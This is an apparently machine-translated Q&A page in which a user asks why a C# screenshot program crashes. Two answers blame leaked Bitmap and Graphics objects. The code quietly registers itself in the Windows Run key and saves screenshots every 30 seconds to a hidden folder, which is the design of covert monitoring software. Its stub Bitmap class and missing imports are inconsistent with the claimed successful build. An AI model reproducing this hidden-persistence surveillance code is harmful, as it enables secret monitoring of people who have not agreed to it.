Question

我多次调试了我的c＃代码并查看了结果以修复我的代码。我已经修复了每一个错误，直到没有错误为止。我建立了我的程序，但是当我开始它时，它只是坐在那里一分钟然后崩溃了。我不知道我的代码有什么问题。有人可以帮助我吗？

我使用的是Visual Studio 2017.此外，我的程序应该每隔30秒拍摄一次屏幕截图，然后将它们保存到C驱动器上名为SysApp的文件夹中。

（PS如果我的问题出现问题，请告诉我，以便我可以在你投票之前解决它。我对此非常陌生并且不想丢失我的帐户。谢谢！）< / p>

代码：

using System;
using System.Threading;
using System.Reflection;
using System.IO;
using System.Windows;

namespace SysApp
{
    static class Program
    {
        static void Main()
        {
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            int n = 0;
            while (n == 0)
            {
                Thread.Sleep(30000);
                OnTimedEvent();
            }
        }
        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1000, 800);
            Size s = new Size(memoryImage.Width, memoryImage.Height);
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";
            if (Directory.Exists("C:\\SysApp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\SysApp");
                File.SetAttributes("C:\\SysApp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\SysApp\\screen {0}_{1}.png", date + month + year, hour + min + sec);
            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }
    }

    internal class Bitmap
    {
        private int v1;
        private int v2;

        public Bitmap(int v1, int v2)
        {
            this.v1 = v1;
            this.v2 = v2;
        }

        public double Width { get; internal set; }
        public double Height { get; internal set; }

        internal void Save(string str)
        {
            throw new NotImplementedException();
        }
    }
}

Answer 1

存在内存泄漏，因为在循环的每次迭代后都不会释放Bitmap和Graphics。

在memoryImage.Save(str);修复后添加以下内容：

memoryGraphics.Dispose();
memoryImage.Dispose();

Answer 2

我的猜测是你的内存不足或其他资源如图形句柄。

我建议您使用JetBrains（https://www.jetbrains.com/dotmemory/）中的dotMemory运行您的应用程序，这将有助于您追踪问题。

另外正如其他人所说的那样，空的捕获声明也很危险。而是在那里添加一些调试日志代码来记录异常。

Visual Studio说我的构建成功但是我的程序在一分钟后崩溃了

2 个答案: